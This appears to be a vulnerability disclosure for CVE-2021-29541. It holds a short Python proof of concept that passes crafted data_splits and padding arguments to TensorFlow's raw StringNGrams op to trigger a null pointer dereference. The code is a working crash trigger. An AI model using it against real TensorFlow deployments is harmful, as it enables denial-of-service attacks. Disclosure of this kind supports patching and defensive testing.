CVE-2021-29541: Null pointer dereference in `StringNGrams`

import tensorflow as tf

data=tf.constant([''] * 11, shape=[11], dtype=tf.string)

splits = [0]*115
splits.append(3)
data_splits=tf.constant(splits, shape=[116], dtype=tf.int64)

tf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=b'Ss',
ngram_widths=[7,6,11],
left_pad='ABCDE', right_pad=b'ZYXWVU',
pad_width=50, preserve_short_sequences=True)